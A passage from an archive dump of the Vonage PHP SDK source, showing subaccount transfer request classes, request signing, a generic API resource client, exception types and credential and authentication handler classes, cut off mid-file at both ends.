$this->getCreditTransferId(), 'amount' => $this->getAmount(), 'from' => $this->getFrom(), 'to' => $this->getTo(), 'reference' => $this->getReference(), 'created_at' => $this->getCreatedAt(), ]; } } src/Subaccount/Request/NumberTransferRequest.php 0000644 00000003556 15107326705 0016127 0 ustar 00 <?php namespace Vonage\Subaccount\Request; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class NumberTransferRequest implements ArrayHydrateInterface { public function __construct( protected string $apiKey, protected string $from, protected string $to, protected string $number, protected string $country ) {} public function setFrom(string $from): self { $this->from = $from; return $this; } public function getFrom(): string { return $this->from; } public function setTo(string $to): self { $this->to = $to; return $this; } public function getTo(): string { return $this->to; } public function setNumber(string $number): self { $this->number = $number; return $this; } public function getNumber(): string { return $this->number; } public function setCountry(string $country): self { $this->country = $country; return $this; } public function getCountry(): string { return $this->country; } public function fromArray(array $data): self { $this->from = $data['from'] ?? ''; $this->to = $data['to'] ?? ''; $this->number = $data['number'] ?? ''; $this->country = $data['country'] ?? ''; return $this; } public function toArray(): array { return [ 'from' => $this->getFrom(), 'to' => $this->getTo(), 'number' => $this->getNumber(), 'country' => $this->getCountry(), ]; } /** * @return string */ public function getApiKey(): string { return $this->apiKey; } public function setApiKey(string $apiKey): self { $this->apiKey = $apiKey; return $this; } } src/Subaccount/Request/TransferCreditRequest.php 0000644 00000003466 15107326705 0016111 0 ustar 00 <?php namespace Vonage\Subaccount\Request; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class TransferCreditRequest implements ArrayHydrateInterface { private string $from; private string $to; private string $amount; private string $reference; public function __construct(protected string $apiKey) { } public function getFrom(): string { return $this->from; } public function setFrom(string $from): self { $this->from = $from; return $this; } public function getTo(): string { return $this->to; } public function setTo(string $to): self { $this->to = $to; return $this; } public function getAmount(): string { return $this->amount; } public function setAmount(string $amount): self { $this->amount = $amount; return $this; } public function getReference(): string { return $this->reference; } public function setReference(string $reference): self { $this->reference = $reference; return $this; } public function getApiKey(): string { return $this->apiKey; } public function setApiKey(string $apiKey): self { $this->apiKey = $apiKey; return $this; } public function fromArray(array $data): static { $this->from = $data['from']; $this->to = $data['to']; $this->amount = $data['amount']; $this->reference = $data['reference']; return $this; } public function toArray(): array { return [ 'from' => $this->getFrom(), 'to' => $this->getTo(), 'amount' => (float)$this->getAmount(), 'reference' => $this->getReference() ]; } } src/Subaccount/Request/TransferBalanceRequest.php 0000644 00000003467 15107326705 0016225 0 ustar 00 <?php namespace Vonage\Subaccount\Request; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class TransferBalanceRequest implements ArrayHydrateInterface { private string $from; private string $to; private string $amount; private string $reference; public function __construct(protected string $apiKey) { } public function getFrom(): string { return $this->from; } public function setFrom(string $from): self { $this->from = $from; return $this; } public function getTo(): string { return $this->to; } public function setTo(string $to): self { $this->to = $to; return $this; } public function getAmount(): string { return $this->amount; } public function setAmount(string $amount): self { $this->amount = $amount; return $this; } public function getReference(): string { return $this->reference; } public function setReference(string $reference): self { $this->reference = $reference; return $this; } public function getApiKey(): string { return $this->apiKey; } public function setApiKey(string $apiKey): self { $this->apiKey = $apiKey; return $this; } public function fromArray(array $data): static { $this->from = $data['from']; $this->to = $data['to']; $this->amount = $data['amount']; $this->reference = $data['reference']; return $this; } public function toArray(): array { return [ 'from' => $this->getFrom(), 'to' => $this->getTo(), 'amount' => (float)$this->getAmount(), 'reference' => $this->getReference() ]; } } src/Network.php 0000644 00000004226 15107326705 0007507 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage; use Vonage\Entity\EntityInterface; use Vonage\Entity\Hydrator\ArrayHydrateInterface; use Vonage\Entity\JsonResponseTrait; use Vonage\Entity\JsonSerializableTrait; use Vonage\Entity\NoRequestResponseTrait; use function get_class; use function ltrim; use function preg_replace; use function strtolower; use function trigger_error; class Network implements EntityInterface, ArrayHydrateInterface { use JsonSerializableTrait; use NoRequestResponseTrait; use JsonResponseTrait; /** * @var array */ protected array $data = []; /** * @param string|int $networkCode * @param string|int $networkName */ public function __construct($networkCode, $networkName) { $this->data['network_code'] = (string)$networkCode; $this->data['network_name'] = (string)$networkName; } public function getCode(): string { return $this->data['network_code']; } public function getName(): string { return $this->data['network_name']; } public function getOutboundSmsPrice() { return $this->data['sms_price'] ?? $this->data['price']; } public function getOutboundVoicePrice() { return $this->data['voice_price'] ?? $this->data['price']; } public function getPrefixPrice() { return $this->data['mt_price']; } public function getCurrency() { return $this->data['currency']; } public function fromArray(array $data): void { // Convert CamelCase to snake_case as that's how we use array access in every other object $storage = []; foreach ($data as $k => $v) { $k = strtolower(ltrim(preg_replace('/[A-Z]([A-Z](?![a-z]))*/', '_$0', $k), '_')); $storage[$k] = $v; } $this->data = $storage; } public function toArray(): array { return $this->data; } } src/Client/Signature.php 0000644 00000007525 15107326706 0011243 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client; use InvalidArgumentException; use Vonage\Client\Exception\Exception as ClientException; use function hash_hmac; use function http_build_query; use function is_array; use function is_string; use function ksort; use function md5; use function str_replace; use function strtolower; use function strtoupper; use function time; use function urldecode; class Signature implements \Stringable { /** * Params with Signature (and timestamp if not present) * * @var array */ protected $signed; /** * Create a signature from a set of parameters. * * @throws ClientException */ public function __construct(/** * Params to Sign */ protected array $params, $secret, $signatureMethod) { $this->signed = $params; if (!isset($this->signed['timestamp'])) { $this->signed['timestamp'] = time(); } //remove signature if present unset($this->signed['sig']); //sort params ksort($this->signed); $signed = []; foreach ($this->signed as $key => $value) { $signed[$key] = str_replace(["&", "="], "_", (string) $value); } //create base string $base = '&' . urldecode(http_build_query($signed)); $this->signed['sig'] = $this->sign($signatureMethod, $base, $secret); } /** * @param $signatureMethod * @param $data * @param $secret * * @throws ClientException */ protected function sign($signatureMethod, $data, $secret): string { switch ($signatureMethod) { case 'md5hash': // md5hash needs the secret appended $data .= $secret; return md5($data); case 'md5': case 'sha1': case 'sha256': case 'sha512': return strtoupper(hash_hmac($signatureMethod, $data, $secret)); default: throw new ClientException( 'Unknown signature algorithm: ' . $signatureMethod . '. Expected: md5hash, md5, sha1, sha256, or sha512' ); } } /** * Get the original parameters. */ public function getParams(): array { return $this->params; } /** * Get the signature for the parameters. */ public function getSignature(): string { return $this->signed['sig']; } /** * Get a full set of parameters including the signature and timestamp. */ public function getSignedParams(): array { return $this->signed; } /** * Check that a signature (or set of parameters) is valid. * * First instantiate a Signature object: this will drop any supplied * signature parameter and calculate the correct one. Then call this * method and supply the signature that came in with the request. * * @param array|string $signature The incoming sig parameter to check (or all incoming params) * * @throws InvalidArgumentException */ public function check($signature): bool { if (is_array($signature) && isset($signature['sig'])) { $signature = $signature['sig']; } if (!is_string($signature)) { throw new InvalidArgumentException('signature must be string, or present in array or parameters'); } return strtolower($signature) === strtolower($this->signed['sig']); } /** * Allow easy comparison. */ public function __toString(): string { return $this->getSignature(); } } src/Client/APIResource.php 0000644 00000031733 15107326706 0011421 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client; use Laminas\Diactoros\Request; use Psr\Log\LogLevel; use Vonage\Client\Credentials\Handler\BasicHandler; use Vonage\Entity\Filter\EmptyFilter; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use Vonage\Entity\IterableAPICollection; use Vonage\Entity\Filter\FilterInterface; use Psr\Http\Client\ClientExceptionInterface; use Vonage\Client\Credentials\Handler\HandlerInterface; use Vonage\Logger\LoggerTrait; use function is_null; use function json_decode; use function json_encode; use function http_build_query; class APIResource implements ClientAwareInterface { use ClientAwareTrait; use LoggerTrait; /** * @var HandlerInterface[] */ protected array $authHandler = []; /** * Base URL that we will hit. This can be overridden from the underlying * client or directly on this class. */ protected string $baseUrl = ''; protected string $baseUri = ''; protected string $collectionName = ''; protected ?IterableAPICollection $collectionPrototype = null; /** * Sets flag that says to check for errors even on 200 Success */ protected bool $errorsOn200 = false; /** * Error handler to use when reviewing API responses * * @var callable */ protected $exceptionErrorHandler; protected bool $isHAL = true; protected ?RequestInterface $lastRequest = null; protected ?ResponseInterface $lastResponse = null; /** * Adds authentication to a request * */ public function addAuth(RequestInterface $request): RequestInterface { $credentials = $this->getClient()->getCredentials(); if (is_array($this->getAuthHandler())) { foreach ($this->getAuthHandler() as $handler) { try { $request = $handler($request, $credentials); break; } catch (\RuntimeException $e) { continue; // We are OK if multiple are sent but only one match } throw new \RuntimeException( 'Unable to set credentials, please check configuration and supplied authentication' ); } return $request; } return $this->getAuthHandler()($request, $credentials); } /** * @throws ClientExceptionInterface * @throws Exception\Exception */ public function create(array $body, string $uri = '', array $headers = []): ?array { if (empty($headers)) { $headers = ['content-type' => 'application/json']; } $request = new Request( $this->getBaseUrl() . $this->getBaseUri() . $uri, 'POST', 'php://temp', $headers ); $request->getBody()->write(json_encode($body)); if ($this->getAuthHandler()) { $request = $this->addAuth($request); } $this->lastRequest = $request; $response = $this->getClient()->send($request); $status = (int)$response->getStatusCode(); $this->setLastResponse($response); if (($status < 200 || $status > 299) || $this->errorsOn200()) { $e = $this->getException($response, $request); if ($e) { $e->setEntity($body); throw $e; } } $response->getBody()->rewind(); return json_decode($response->getBody()->getContents(), true); } /** * @throws ClientExceptionInterface * @throws Exception\Exception */ public function delete(string $id, array $headers = []): ?array { $uri = $this->getBaseUrl() . $this->baseUri . '/' . $id; if (empty($headers)) { $headers = [ 'accept' => 'application/json', 'content-type' => 'application/json' ]; } $request = new Request( $uri, 'DELETE', 'php://temp', $headers ); if ($this->getAuthHandler()) { $request = $this->addAuth($request); } $response = $this->getClient()->send($request); $status = (int)$response->getStatusCode(); $this->lastRequest = $request; $this->setLastResponse($response); if ($status < 200 || $status > 299) { $e = $this->getException($response, $request); $e->setEntity($id); throw $e; } $response->getBody()->rewind(); return json_decode($response->getBody()->getContents(), true); } /** * @throws ClientExceptionInterface * @throws Exception\Exception */ public function get($id, array $query = [], array $headers = [], bool $jsonResponse = true, bool $uriOverride = false) { $uri = $this->getBaseUrl() . $this->baseUri . '/' . $id; // This is a necessary hack if you want to fetch a totally different URL but use Vonage Auth if ($uriOverride) { $uri = $id; } if (!empty($query)) { $uri .= '?' . http_build_query($query); } if (empty($headers)) { $headers = [ 'accept' => 'application/json', 'content-type' => 'application/json' ]; } $request = new Request( $uri, 'GET', 'php://temp', $headers ); if ($this->getAuthHandler()) { $request = $this->addAuth($request); } $response = $this->getClient()->send($request); $status = (int)$response->getStatusCode(); $this->lastRequest = $request; $this->setLastResponse($response); if ($status < 200 || $status > 299) { $e = $this->getException($response, $request); $e->setEntity($id); throw $e; } if (!$jsonResponse) { return $response->getBody(); } return json_decode($response->getBody()->getContents(), true); } public function getAuthHandler() { // If we have not set a handler, default to Basic and issue warning. if (!$this->authHandler) { $this->log( LogLevel::WARNING, 'Warning: no authorisation handler set for this Client. Defaulting to Basic which might not be the correct authorisation for this API call' ); return new BasicHandler(); } return $this->authHandler; } public function getBaseUrl(): ?string { if (!$this->baseUrl && $this->client) { $this->baseUrl = $this->client->getApiUrl(); } return $this->baseUrl; } public function getBaseUri(): ?string { return $this->baseUri; } public function getCollectionName(): string { return $this->collectionName; } public function getCollectionPrototype(): IterableAPICollection { if (is_null($this->collectionPrototype)) { $this->collectionPrototype = new IterableAPICollection(); } return clone $this->collectionPrototype; } public function getExceptionErrorHandler(): callable { if (is_null($this->exceptionErrorHandler)) { return new APIExceptionHandler(); } return $this->exceptionErrorHandler; } /** * Sets the error handler to use when reviewing API responses. */ public function setExceptionErrorHandler(callable $handler): self { $this->exceptionErrorHandler = $handler; return $this; } protected function getException(ResponseInterface $response, RequestInterface $request) { return $this->getExceptionErrorHandler()($response, $request); } public function getLastRequest(): ?RequestInterface { $this->lastRequest->getBody()->rewind(); return $this->lastRequest; } public function getLastResponse(): ?ResponseInterface { $this->lastResponse->getBody()->rewind(); return $this->lastResponse; } public function isHAL(): bool { return $this->isHAL; } public function partiallyUpdate(string $id, array $body, array $headers = []): ?array { return $this->updateEntity('PATCH', $id, $body, $headers); } public function search(?FilterInterface $filter = null, string $uri = ''): IterableAPICollection { if (is_null($filter)) { $filter = new EmptyFilter(); } $api = clone $this; if ($uri) { $api->setBaseUri($uri); } $collection = $this->getCollectionPrototype(); $collection ->setApiResource($api) ->setFilter($filter); $collection->setClient($this->client); return $collection; } /** * Set the auth handler(s). This can be a handler that extends off AbstractHandler, * or an array of handlers that will attempt to resolve at runtime * * @param HandlerInterface|array $handler * * @return $this */ public function setAuthHandler($handler): self { if (!is_array($handler)) { $handler = [$handler]; } $this->authHandler = $handler; return $this; } public function setBaseUrl(string $url): self { $this->baseUrl = $url; return $this; } public function setBaseUri(string $uri): self { $this->baseUri = $uri; return $this; } public function setCollectionName(string $name): self { $this->collectionName = $name; return $this; } public function setCollectionPrototype(IterableAPICollection $prototype): self { $this->collectionPrototype = $prototype; return $this; } public function setIsHAL(bool $state): self { $this->isHAL = $state; return $this; } public function setLastResponse(ResponseInterface $response): self { $this->lastResponse = $response; return $this; } public function setLastRequest(RequestInterface $request): self { $this->lastRequest = $request; return $this; } /** * Allows form URL-encoded POST requests. * * @throws ClientExceptionInterface * @throws Exception\Exception */ public function submit(array $formData = [], string $uri = '', array $headers = []): string { if (empty($headers)) { $headers = ['content-type' => 'application/x-www-form-urlencoded']; } $request = new Request( $this->baseUrl . $this->baseUri . $uri, 'POST', 'php://temp', $headers ); if ($this->getAuthHandler()) { $request = $this->addAuth($request); } $request->getBody()->write(http_build_query($formData)); $response = $this->getClient()->send($request); $status = $response->getStatusCode(); $this->lastRequest = $request; $this->setLastResponse($response); if ($status < 200 || $status > 299) { $e = $this->getException($response, $request); $e->setEntity($formData); throw $e; } return $response->getBody()->getContents(); } public function update(string $id, array $body, array $headers = []): ?array { return $this->updateEntity('PUT', $id, $body, $headers); } /** * @throws ClientExceptionInterface * @throws Exception\Exception */ protected function updateEntity(string $method, string $id, array $body, array $headers = []): ?array { if (empty($headers)) { $headers = ['content-type' => 'application/json']; } $request = new Request( $this->getBaseUrl() . $this->baseUri . '/' . $id, $method, 'php://temp', $headers ); if ($this->getAuthHandler()) { $request = $this->addAuth($request); } $request->getBody()->write(json_encode($body)); $response = $this->getClient()->send($request); $this->lastRequest = $request; $this->setLastResponse($response); $status = $response->getStatusCode(); if (($status < 200 || $status > 299) || $this->errorsOn200()) { $e = $this->getException($response, $request); $e->setEntity(['id' => $id, 'body' => $body]); throw $e; } return json_decode($response->getBody()->getContents(), true); } public function errorsOn200(): bool { return $this->errorsOn200; } public function setErrorsOn200(bool $value): self { $this->errorsOn200 = $value; return $this; } } src/Client/Exception/Transport.php 0000644 00000000153 15107326706 0013222 0 ustar 00 <?php declare(strict_types=1); namespace Vonage\Client\Exception; class Transport extends Exception { } src/Client/Exception/Server.php 0000644 00000000323 15107326706 0012473 0 ustar 00 <?php declare(strict_types=1); namespace Vonage\Client\Exception; use Vonage\Entity\HasEntityTrait; use Vonage\Entity\Psr7Trait; class Server extends Exception { use HasEntityTrait; use Psr7Trait; } src/Client/Exception/Validation.php 0000644 00000000630 15107326706 0013320 0 ustar 00 <?php declare(strict_types=1); namespace Vonage\Client\Exception; use Throwable; class Validation extends Request { public function __construct(string $message = '', int $code = 0, Throwable $previous = null, private array $errors = []) { parent::__construct($message, $code, $previous); } public function getValidationErrors(): array { return $this->errors; } } src/Client/Exception/Exception.php 0000644 00000000154 15107326707 0013166 0 ustar 00 <?php declare(strict_types=1); namespace Vonage\Client\Exception; class Exception extends \Exception { } src/Client/Exception/Request.php 0000644 00000001245 15107326707 0012662 0 ustar 00 <?php declare(strict_types=1); namespace Vonage\Client\Exception; use Vonage\Entity\HasEntityTrait; use Vonage\Entity\Psr7Trait; class Request extends Exception { use HasEntityTrait; use Psr7Trait; protected string $requestId; protected string $networkId; public function setRequestId(string $requestId): void { $this->requestId = $requestId; } public function getRequestId(): string { return $this->requestId; } public function setNetworkId(string $networkId): void { $this->networkId = $networkId; } public function getNetworkId(): string { return $this->networkId; } } src/Client/Exception/ThrottleException.php 0000644 00000000535 15107326707 0014717 0 ustar 00 <?php declare(strict_types=1); namespace Vonage\Client\Exception; class ThrottleException extends Server { /** * @var int */ protected $timeout; public function setTimeout(int $seconds): void { $this->timeout = $seconds; } public function getTimeout(): int { return $this->timeout; } } src/Client/Exception/Conflict.php 0000644 00000000153 15107326707 0012770 0 ustar 00 <?php declare(strict_types=1); namespace Vonage\Client\Exception; class Conflict extends \Exception { } src/Client/Exception/NotFound.php 0000644 00000000153 15107326707 0012763 0 ustar 00 <?php declare(strict_types=1); namespace Vonage\Client\Exception; class NotFound extends \Exception { } src/Client/Exception/Credentials.php 0000644 00000000156 15107326710 0013461 0 ustar 00 <?php declare(strict_types=1); namespace Vonage\Client\Exception; class Credentials extends \Exception { } src/Client/Credentials/CredentialsInterface.php 0000644 00000000542 15107326710 0015600 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Credentials; interface CredentialsInterface { public function asArray(); } src/Client/Credentials/Container.php 0000644 00000003531 15107326710 0013445 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Credentials; use RuntimeException; use function func_get_args; use function is_array; class Container extends AbstractCredentials { protected array $types = [ Basic::class, SignatureSecret::class, Keypair::class ]; /** * @var array */ protected array $credentials; public function __construct($credentials) { if (!is_array($credentials)) { $credentials = func_get_args(); } foreach ($credentials as $credential) { $this->addCredential($credential); } } protected function addCredential(CredentialsInterface $credential): void { $type = $this->getType($credential); if (isset($this->credentials[$type])) { throw new RuntimeException('can not use more than one of a single credential type'); } $this->credentials[$type] = $credential; } protected function getType(CredentialsInterface $credential): ?string { foreach ($this->types as $type) { if ($credential instanceof $type) { return $type; } } return null; } public function get($type) { if (!isset($this->credentials[$type])) { throw new RuntimeException('credential not set'); } return $this->credentials[$type]; } public function has($type): bool { return isset($this->credentials[$type]); } public function generateJwt($claims) { return $this->credentials[Keypair::class]->generateJwt($claims); } } src/Client/Credentials/Basic.php 0000644 00000001370 15107326710 0012543 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Credentials; /** * Class Basic * Read-only container for api key and secret. * * @property string api_key * @property string api_secret */ class Basic extends AbstractCredentials { /** * Create a credential set with an API key and secret. * * @param $key * @param $secret */ public function __construct($key, $secret) { $this->credentials['api_key'] = (string)$key; $this->credentials['api_secret'] = (string)$secret; } } src/Client/Credentials/AbstractCredentials.php 0000644 00000001241 15107326711 0015441 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Credentials; abstract class AbstractCredentials implements CredentialsInterface { /** * @var array */ protected array $credentials = []; /** * @noinspection MagicMethodsValidityInspection */ public function __get($name) { return $this->credentials[$name]; } public function asArray(): array { return $this->credentials; } } src/Client/Credentials/SignatureSecret.php 0000644 00000001270 15107326711 0014631 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Credentials; class SignatureSecret extends AbstractCredentials { /** * Create a credential set with an API key and signature secret. */ public function __construct($key, $signature_secret, string $method = 'md5hash') { $this->credentials['api_key'] = $key; $this->credentials['signature_secret'] = $signature_secret; $this->credentials['signature_method'] = $method; } } src/Client/Credentials/Handler/HandlerInterface.php 0000644 00000000516 15107326711 0016277 0 ustar 00 <?php namespace Vonage\Client\Credentials\Handler; use Psr\Http\Message\RequestInterface; use Vonage\Client\Credentials\CredentialsInterface; interface HandlerInterface { /** * Add authentication to a request */ function __invoke(RequestInterface $request, CredentialsInterface $credentials): RequestInterface; } src/Client/Credentials/Handler/AbstractHandler.php 0000644 00000001472 15107326711 0016144 0 ustar 00 <?php namespace Vonage\Client\Credentials\Handler; use Psr\Http\Message\RequestInterface; use Vonage\Client\Credentials\Container; use Vonage\Client\Credentials\CredentialsInterface; abstract class AbstractHandler implements HandlerInterface { abstract function __invoke(RequestInterface $request, CredentialsInterface $credentials): RequestInterface; protected function extract(string $class, CredentialsInterface $credentials): CredentialsInterface { if ($credentials instanceof $class) { return $credentials; } if ($credentials instanceof Container) { $creds = $credentials->get($class); if (!is_null($creds)) { return $creds; } } throw new \RuntimeException('Requested auth type not found'); } } src/Client/Credentials/Handler/SignatureBodyHandler.php 0000644 00000002001 15107326711 0017145 0 ustar 00 <?php namespace Vonage\Client\Credentials\Handler; use Psr\Http\Message\RequestInterface; use Vonage\Client\Credentials\CredentialsInterface; use Vonage\Client\Credentials\SignatureSecret; use Vonage\Client\Signature; class SignatureBodyHandler extends AbstractHandler { public function __invoke(RequestInterface $request, CredentialsInterface $credentials): RequestInterface { $credentials = $this->extract(SignatureSecret::class, $credentials); $credentialsArray = $credentials->asArray(); $body = $request->getBody(); $body->rewind(); $content = $body->getContents(); $params = json_decode($content, true); $params['api_key'] = $credentialsArray['api_key']; $signature = new Signature( $params, $credentialsArray['signature_secret'], $credentialsArray['signature_method'] ); $body->rewind(); $body->write(json_encode($signature->getSignedParams())); return $request; } } src/Client/Credentials/Handler/BasicHandler.php 0000644 00000001161 15107326711 0015415 0 ustar 00 <?php namespace Vonage\Client\Credentials\Handler; use Psr\Http\Message\RequestInterface; use Vonage\Client\Credentials\Basic; use Vonage\Client\Credentials\CredentialsInterface; class BasicHandler extends AbstractHandler { public function __invoke(RequestInterface $request, CredentialsInterface $credentials): RequestInterface { $credentials = $this->extract(Basic::class, $credentials); $c = $credentials->asArray(); $cx = base64_encode($c['api_key'] . ':' . $c['api_secret']); $request = $request->withHeader('Authorization', 'Basic ' . $cx); return $request; } } src/Client/Credentials/Handler/TokenBodyFormHandler.php 0000644 00000001371 15107326712 0017122 0 ustar 00 <?php namespace Vonage\Client\Credentials\Handler; use Vonage\Client\Credentials\Basic; use Psr\Http\Message\RequestInterface; use Vonage\Client\Credentials\CredentialsInterface; class TokenBodyFormHandler extends AbstractHandler { public function __invoke(RequestInterface $request, CredentialsInterface $credentials): RequestInterface { $credentials = $this->extract(Basic::class, $credentials); $body = $request->getBody(); $body->rewind(); $content = $body->getContents(); $params = []; parse_str($content, $params); $params = array_merge($params, $credentials->asArray()); $body->rewind(); $body->write(http_build_query($params, '', '&')); return $request; } } src/Client/Credentials/Handler/SignatureBodyFormHandler.php 0000644 00000002073 15107326712 0020003 0 ustar 00 <?php namespace Vonage\Client\Credentials\Handler; use Psr\Http\Message\RequestInterface; use Vonage\Client\Credentials\CredentialsInterface; use Vonage\Client\Credentials\SignatureSecret; use Vonage\Client\Signature; class SignatureBodyFormHandler extends AbstractHandler { public function __invoke(RequestInterface $request, CredentialsInterface $credentials): RequestInterface { $credentials = $this->extract(SignatureSecret::class, $credentials); $credentialsArray = $credentials->asArray(); $body = $request->getBody(); $body->rewind(); $content = $body->getContents(); $params = []; parse_str($content, $params); $params['api_key'] = $credentialsArray['api_key']; $signature = new Signature( $params, $credentialsArray['signature_secret'], $credentialsArray['signature_method'] ); $params = $signature->getSignedParams(); $body->rewind(); $body->write(http_build_query($params, '', '&')); return $request; } } src/Client/Credentials/Handler/TokenQueryHandler.php 0000644 00000001256 15107326712 0016510 0 ustar 00 <?php namespace Vonage\Client\Credentials\Handler; use Vonage\Client\Credentials\Basic; use Psr\Http\Message\RequestInterface; use Vonage\Client\Credentials\CredentialsInterface; class TokenQueryHandler extends AbstractHandler { public function __invoke(RequestInterface $request, CredentialsInterface $credentials): RequestInterface { $credentials = $this->extract(Basic::class, $credentials); $query = []; parse_str($request->getUri()->getQuery(), $query); $query = array_merge($query, $credentials->asArray()); $request = $request->withUri($request->getUri()->withQuery(http_build_query($query))); return $request; } } src/Client/Credentials/Handler/SignatureQueryHandler.php 0000644 00000001715 15107326712 0017371 0 ustar 00 <?php namespace Vonage\Client\Credentials\Handler; use Psr\Http\Message\RequestInterface; use Vonage\Client\Credentials\CredentialsInterface; use Vonage\Client\Credentials\SignatureSecret; use Vonage\Client\Signature; class SignatureQueryHandler extends AbstractHandler { public function __invoke(RequestInterface $request, CredentialsInterface $credentials): RequestInterface { $credentials = $this->extract(SignatureSecret::class, $credentials); $credentialsArray = $credentials->asArray(); $query = []; parse_str($request->getUri()->getQuery(), $query); $query['api_key'] = $credentialsArray['api_key']; $signature = new Signature( $query, $credentialsArray['signature_secret'], $credentialsArray['signature_method'] ); return $request->withUri( $request->getUri()->withQuery(http_build_query($signature->getSignedParams())) ); } } src/Client/Credentials/Handler/KeypairHandler.php 0000644 00000001125 15107326712 0016001 0 ustar 00 <?php namespace Vonage\Client\Credentials\Handler; use Psr\Http\Message\RequestInterface; use Vonage\Client\Credentials\CredentialsInterface; use Vonage\Client\Credentials\Keypair; class KeypairHandler extends AbstractHandler { public function __invoke(RequestInterface $request, CredentialsInterface $credentials): RequestInterface { /** @var Keypair $credentials */ $credentials = $this->extract(Keypair::class, $credentials); $token = $credentials->generateJwt(); return $request->withHeader('Authorization', 'Bearer ' . $token->toString()); } } src/Client/Credentials/Handler/TokenBodyHandler.php 0000644 00000001744 15107326713 0016303 0 ustar 00 <?php namespace Vonage\Client\Credentials\Handler; use Vonage\Client\Credentials\Basic; use Psr\Http\Message\RequestInterface; use Vonage\Client\Credentials\CredentialsInterface; class TokenBodyHandler extends AbstractHandler { public function __invoke(RequestInterface $request, CredentialsInterface $credentials): RequestInterface { $credentials = $this->extract(Basic::class, $credentials); // We have to do some clunky body pointer rewinding here $existingBody = $request->getBody(); $existingBody->rewind(); $existingBodyContent = $existingBody->getContents(); $existingBody->rewind(); $existingBodyArray = json_decode($existingBodyContent, true); // The request body will now be the existing body plus the basic creds $mergedBodyArray = array_merge($existingBodyArray, $credentials->asArray()); return $request->withBody(\GuzzleHttp\Psr7\Utils::streamFor(json_encode($mergedBodyArray))); } } src/Client/Credentials/Handler/BasicQueryHandler.php 0000644 00000001173 15107326713 0016450 0 ustar 00 <?php namespace Vonage\Client\Credentials\Handler; use Psr\Http\Message\RequestInterface; use Vonage\Client\Credentials\Basic; use Vonage\Client\Credentials\CredentialsInterface; class BasicQueryHandler extends AbstractHandler { public function __invoke(RequestInterface $request, CredentialsInterface $credentials): RequestInterface { $credentials = $this->extract(Basic::class, $credentials); parse_str($request->getUri()->getQuery(), $query); $query = array_merge($query, $credentials->asArray()); return $request->withUri($request->getUri()->withQuery(http_build_query($query))); } } src/Client/Credentials/Keypair.php 0000644 00000005274 15107326713 0013140 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Credentials; use Lcobucci\JWT\Configuration; use Lcobucci\JWT\Signer\Key; use Lcobucci\JWT\Signer\Key\InMemory; use Lcobucci\JWT\Signer\Rsa\Sha256; use Lcobucci\JWT\Token; use Vonage\Application\Application; use function base64_encode; use function mt_rand; use function time; /** * @property mixed application */ class Keypair extends AbstractCredentials { /** * @var Key */ protected $key; public function __construct($privateKey, $application = null) { $this->credentials['key'] = $privateKey; if ($application) { if ($application instanceof Application) { $application = $application->getId(); } $this->credentials['application'] = $application; } $this->key = InMemory::plainText($privateKey); } /** * @return Key */ public function getKey(): Key { return $this->key; } public function generateJwt(array $claims = []): Token { $config = Configuration::forSymmetricSigner(new Sha256(), $this->key); $exp = time() + 60; $iat = time(); $jti = base64_encode((string)mt_rand()); if (isset($claims['exp'])) { $exp = $claims['exp']; unset($claims['exp']); } if (isset($claims['iat'])) { $iat = $claims['iat']; unset($claims['iat']); } if (isset($claims['jti'])) { $jti = $claims['jti']; unset($claims['jti']); } $builder = $config->builder(); $builder->issuedAt((new \DateTimeImmutable())->setTimestamp($iat)) ->expiresAt((new \DateTimeImmutable())->setTimestamp($exp)) ->identifiedBy($jti); if (isset($claims['nbf'])) { $builder->canOnlyBeUsedAfter((new \DateTimeImmutable())->setTimestamp($claims['nbf'])); unset($claims['nbf']); } if (isset($this->credentials['application'])) { $builder->withClaim('application_id', $this->credentials['application']); } if (isset($claims['sub'])) { $builder->relatedTo($claims['sub']); unset($claims['sub']); } if (!empty($claims)) { foreach ($claims as $claim => $value) { $builder->withClaim($claim, $value); } } return $builder->getToken($config->signer(), $config->signingKey()); } } src/Client/ClientAwareTrait.php 0000644 00000001320 15107326713 0012465 0 ustar 00 <?php /** * Vonage 